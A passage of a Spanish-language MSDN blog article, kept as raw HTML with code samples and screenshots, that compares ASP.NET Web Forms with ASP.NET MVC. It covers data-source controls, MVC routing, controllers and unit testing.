style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">viernes</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>vie<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">sábado</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>sáb<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&#160;&#160;&#160; &lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: #a31515">th</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue"> </span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: red">align</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">=</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&quot;<span style="color: blue">center</span>&quot;<span style="color: blue"> </span><span style="color: red">abbr</span><span style="color: blue">=</span>&quot;<span style="color: blue">domingo</span>&quot;<span style="color: blue"> </span><span style="color: red">scope</span><span style="color: blue">=</span>&quot;<span style="color: blue">col</span>&quot;<span style="color: blue">&gt;</span>dom<span style="color: blue">&lt;/</span><span style="color: #a31515">th</span><span style="color: blue">&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: #a31515">tr</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&#160; …</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: #a31515">table</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Algunos controles soportan mecanismos más avanzados de personalización, como la funcionalidad <i>Auto Format</i> que permite aplicar distintos esquemas de colores y estilos sobre el control de forma completamente visual, de nuevo sin necesidad de tocar ni una sola línea de código.</font> </span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/7752.clip_image003_thumb_6B0DE12C.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/7752.clip_5F00_image003_5F00_thumb_5F00_6B0DE12C.jpg" width="502" height="391" /></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En definitiva, dos características importantes de ASP.NET Web Forms son la simplificación del desarrollo web y la reducción de la cantidad de código necesario para conseguir una determinada funcionalidad. </font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">3 – Ecosistema de controles de terceros</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET Web Forms es una tecnología madura entorno a la cual se ha construido un importante ecosistema de empresas especializadas en desarrollar controles de gran calidad. Algunas de estas empresas como Telerik, Infragistics o Devexpress, desarrollan controles utilizados en miles de aplicaciones Web Forms en Internet. Utilizar este tipo de controles de terceros en lugar de optar por el desarrollo propio puede suponer un importante ahorro de tiempo y dinero, y en muchas ocasiones retornar mejores resultados.</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">4 – Acceso a datos simplificado</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La mayoría de aplicaciones web consumen y manipulan datos. Por ello ASP.NET Web Forms soporta un amplio abanico de orígenes de datos, e implementa controles específicos para simplificar el acceso a los orígenes de datos más comunes como bases de datos, ficheros XML, objetos de negocio o modelos de datos de Entity Framework. Los controles de tipo origen de datos (<i>data source</i>) son controles sin elementos gráficos asociados, que permiten a otros controles de servidor enlazar con los orígenes de datos de forma completamente declarativa. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Los controles <i>data source</i> se pueden crear declarativamente o en modo gráfico desde la vista de diseño de Visual Studio. Por ejemplo, el control <i>SqlDataSource</i> debe como mínimo indicar la cadena de conexión al origen de datos y la consulta a ejecutar para recuperar los datos deseados.&#160; </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">&lt;</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">asp</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">:</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: maroon">SqlDataSource</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: red">ID</span><span style="color: blue">=&quot;EmployeeSqlDataSource&quot;</span> <span style="color: red">runat</span><span style="color: blue">=&quot;server&quot;</span> </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: red">ConnectionString</span><span style="color: blue">=&quot;</span><span style="background: yellow">&lt;%</span><span style="color: blue">$</span> ConnectionStrings:ConnectionString <span style="background: yellow">%&gt;</span><span style="color: blue">&quot;</span>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: red">SelectCommand</span><span style="color: blue">=&quot;SELECT * FROM [Employee] ORDER BY [Id]&quot;&gt;</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas; color: blue">&lt;/</span><span style="font-size: 10pt; font-family: consolas; color: maroon">asp</span><span style="font-size: 10pt; font-family: consolas; color: blue">:</span><span style="font-size: 10pt; font-family: consolas; color: maroon">SqlDataSource</span><span style="font-size: 10pt; font-family: consolas; color: blue">&gt;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En el modo gráfico de la vista de diseño podemos hacer lo mismo siguiendo los pasos por los que nos guía un <i>wizard.</i></font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/4540.clip_image004_thumb_5EA24EB4.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/4540.clip_5F00_image004_5F00_thumb_5F00_5EA24EB4.jpg" width="678" height="544" /></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Una vez creados los controles de origen de datos, podemos configurarlos como la propiedad <i>data source</i> de otros controles de servidor con elementos gráficos, y así enlazarlos con un origen de datos de forma declarativa. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/0636.clip_image005_thumb_46A0FEFD.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/0636.clip_5F00_image005_5F00_thumb_5F00_46A0FEFD.jpg" width="847" height="456" /></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt">&#160;</span></b></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">5 – Menor cantidad de código y menor complejidad que ASP.NET MVC</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Debido a todo lo anterior, en definitiva las aplicaciones ASP.NET Web Forms requieren desarrollar menor cantidad de código que las aplicaciones ASP.NET MVC por lo que se adaptan mejor a equipos de desarrollo más reducidos. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <h1><a name="_Parte_2_-"></a><font face="Calibri">Parte 2 - ASP.NET MVC</font></h1>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En marzo de 2009 se hizo pública la primera versión de ASP.NET MVC. El patrón de arquitectura MVC (model-view-controller) no es nuevo (data de 1979) ni es algo que haya inventado Microsoft. Existen muchos <i>frameworks</i> de desarrollo web populares que utilizan MVC, como por ejemplo Ruby on Rails, Spring o Apache Struts. MVC es un patrón de arquitectura<span style="color: #1f497d"> </span>que ayuda a crear una separación lógica entre el modelo (la lógica de acceso a datos), la vista (la lógica de presentación) y el controlador (la lógica de negocio).</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><span style="font-size: 12pt">Uno de los pilares básicos de ASP.NET MVC es el concepto de enrutamiento (<i>routing</i>), lo que permite a las aplicaciones aceptar peticiones a URLs que no se corresponden con ficheros físicos en el servidor. Por ejemplo, en ASP.NET Web Forms las URLs tienen el siguiente formato “</span><span lang="EN-US" style="font-size: 12pt"><a href="https://website/products.aspx?category=dvd"><span lang="ES">https://website/products.aspx?category=dvd</span></a></span><span style="font-size: 12pt">” en el que físicamente existe un fichero <i>products.aspx</i> en la raíz del sitio web. En MVC la misma URL tendría el siguiente aspecto “</span><span lang="EN-US" style="font-size: 12pt"><a href="https://website/products/dvd"><span lang="ES">https://website/products/dvd</span></a></span><span style="font-size: 12pt">” sin que el servidor web necesariamente contenga una carpeta <i>products</i> con una subcarpeta <i>dvd</i>. De forma predeterminada, ASP.NET MVC enruta las peticiones al controlador y a la vista adecuada en función de la URL. Es decir, en el ejemplo anterior, nos devolverá la vista <i>dvd</i> del controlador <i>products</i>. </span></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Este es el aspecto que tiene un proyecto ASP.NET MVC en Visual Studio, que para quién haya trabajado en proyectos Web Forms notará cambios significativos:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/2654.clip_image006_thumb_6822BF3D.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/2654.clip_5F00_image006_5F00_thumb_5F00_6822BF3D.jpg" width="229" height="446" /></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">El controlador es la pieza responsable de responder a las peticiones realizadas contra la aplicación ASP.NET MVC mediante distintas “acciones”, por ejemplo devolviendo una vista determinada, redireccionando la petición a un controlador distinto, etc. En el caso más básico, las acciones de un controlador se limitan a devolver vistas. En el siguiente ejemplo, el controlador <i>products</i> implementa dos acciones que devuelven las vistas <i>index</i> y <i>dvd</i>.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> System.Web.Mvc;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">namespace</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> AdventureWorks.Controllers</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">public</span> <span style="color: blue">class</span> <span style="color: #2b91af">ProductsController</span> : <span style="color: #2b91af">Controller</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; {</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">public</span> <span style="color: #2b91af">ActionResult</span> Index()</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; {</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ViewBag.Message = <span style="color: #a31515">&quot;Welcome to AdventureWorks online store!&quot;</span>;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">return</span> View();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; }</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">public</span> <span style="color: #2b91af">ActionResult</span> Dvd()</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">{&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">return</span> View();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; }</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; }</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt; color: #1f497d">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Para entender mejor el concepto de enrutamiento y su relación con controladores y vistas, analicemos que ocurre si añadimos una nueva acción <i>bluray</i> al controlador <i>products</i> que quedaría expuesta en la URL </font><a href="https://website/products/bluray"><font face="Calibri">https://website/products/bluray</font></a><font face="Calibri">.</font> </span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">public</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: #2b91af">ActionResult</span> Bluray()</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">return</span> View();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Si no indicamos lo contrario, ASP.NET MVC intentará buscar una vista que se llama igual que la acción que se ha ejecutado. El error que devuelve la aplicación indica que no ha podido encontrar la vista y además indica donde la ha buscado. Como se puede observar, en ASP.NET MVC hay un mapeo directo entre las URLs, los métodos que se ejecutan en el controlador (las acciones) y las vistas que se devuelven. Prevalece la convención sobre la configuración.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/7652.clip_image007_thumb_74B2FD0A.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/7652.clip_5F00_image007_5F00_thumb_5F00_74B2FD0A.jpg" width="774" height="328" /></p>    <p class="MsoNormal"><span lang="EN-US" style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET MVC fue concebido con el objetivo de proporcionar una mayor separación de conceptos y mayor control sobre el comportamiento de la aplicación. Al no hacer uso de muchos de los mecanismos de abstracción de ASP.NET Web Forms, como el view state o los formularios de servidor, ASP.NET MVC requiere un mayor conocimiento sobre protocolos y lenguajes web. En general las aplicaciones ASP.NET MVC requieren desarrollar una mayor cantidad de código que una aplicación ASP.NET Web Forms de funcionalidad equivalente, pero también proporcionan un mayor control al desarrollador sobre el comportamiento de la aplicación. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <h2><font face="Calibri">Cinco razones por las que ASP.NET MVC puede ser la mejor opción para ti</font></h2>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">1 – Aplicaciones fácilmente integrables con pruebas unitarias</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La principal característica que hace a una aplicación fácil de probar es el desacoplamiento (<i>loose coupling</i>) entre los componentes de la aplicación, de forma que cada uno de los componentes se pueda probar de forma aislada. Las pruebas unitarias en esencia son clases creadas con el único propósito de instanciar y hacer uso de las clases y métodos de una aplicación, y verificar que esas clases se comportan como es esperado en distintas situaciones. ¿El método X devuelve el valor esperado al pasar unos parámetros determinados? ¿La clase Y lanza una excepción de tipo Z cuando se pasan unos parámetros inválidos al constructor?</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Uno de los grandes problemas de Web Forms era la imposibilidad de probar las aplicaciones mediante pruebas unitarias, dado que no es posible instanciar clases que heredan de System.Web.UI.Page de forma aislada. Sin embargo en ASP.NET MVC la lógica que controla el flujo de la aplicación reside en los controladores, y los controladores no son más que clases sin dependencias externas por lo que se pueden instanciar sin problemas desde el código de las pruebas unitarias. Siguiendo con el ejemplo anterior, podríamos implementar el siguiente método de prueba unitaria para verificar que el nombre de la vista que devuelve la acción <i>Dvd</i> del controlador <i>Products</i> es la esperada:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> System.Web.Mvc;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> AdventureWorks.Controllers;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">using</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> Microsoft.VisualStudio.TestTools.UnitTesting;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">namespace</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> AdventureWorksTest</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; [<span style="color: #2b91af">TestClass</span>]</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; <span style="color: blue">public</span> <span style="color: blue">class</span> <span style="color: #2b91af">ProductsControllerTest</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; {&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; [<span style="color: #2b91af">TestMethod</span>]</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">public</span> <span style="color: blue">void</span> TestDvdView()</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; {</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: green">//Arrange</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: #2b91af">ProductsController</span> products = <span style="color: blue">new</span> <span style="color: #2b91af">ProductsController</span>();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: green">//Act</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: #2b91af">ViewResult</span> result = (<span style="color: #2b91af">ViewResult</span>)products.Dvd();</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: green">//Assert</span></span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: #2b91af">Assert</span>.AreEqual(<span style="color: #a31515">&quot;Dvd&quot;</span>, result.ViewName);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; }</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span style="font-size: 10pt; font-family: consolas">}</span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">La plantilla de Visual Studio para crear un nuevo proyecto ASP.NET MVC es la única plantilla de un proyecto web que crea un proyecto adicional de pruebas unitarias en la solución, lo que de nuevo refuerza que las pruebas unitarias son una parte integral de las aplicaciones ASP.NET MVC.</font> </span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><img border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/5001.clip_image008_thumb_2F308D90.jpg" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/5001.clip_5F00_image008_5F00_thumb_5F00_2F308D90.jpg" width="607" height="547" /></p>    <p class="MsoNormal"><span lang="EN-US" style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">2 – Mayor flexibilidad y control sobre las URLs expuestas por la aplicación. </font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">ASP.NET MVC proporciona mayor control y flexibilidad sobre las URLs que expone la aplicación. El componente clave que posibilita esta funcionalidad de MVC es el motor de <i>URL routing</i> que se introdujo en ASP.NET 3.5 SP1, y que desde ASP.NET 4.0 también está disponible para Web Forms. El URL routing permite a las aplicaciones exponer URLs más simples, semánticamente más significativas para los usuarios y mejor optimizadas para los motores de búsqueda. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Las rutas predeterminadas en una aplicación ASP.NET MVC están definidas en el método <i>RegisterRoutes</i><b> </b>del fichero global.asax:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas; color: blue">public</span><span lang="EN-US" style="font-size: 10pt; font-family: consolas"> <span style="color: blue">static</span> <span style="color: blue">void</span> RegisterRoutes(<span style="color: #2b91af">RouteCollection</span> routes)</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">{</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; routes.IgnoreRoute(<span style="color: #a31515">&quot;{resource}.axd/{*pathInfo}&quot;</span>);</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;</span></p>    <p class="MsoNormal" style="background: #f2f2f2; text-autospace: "><span lang="EN-US" style="font-size: 10pt; font-family: consolas">&#160;&#160;&#160; 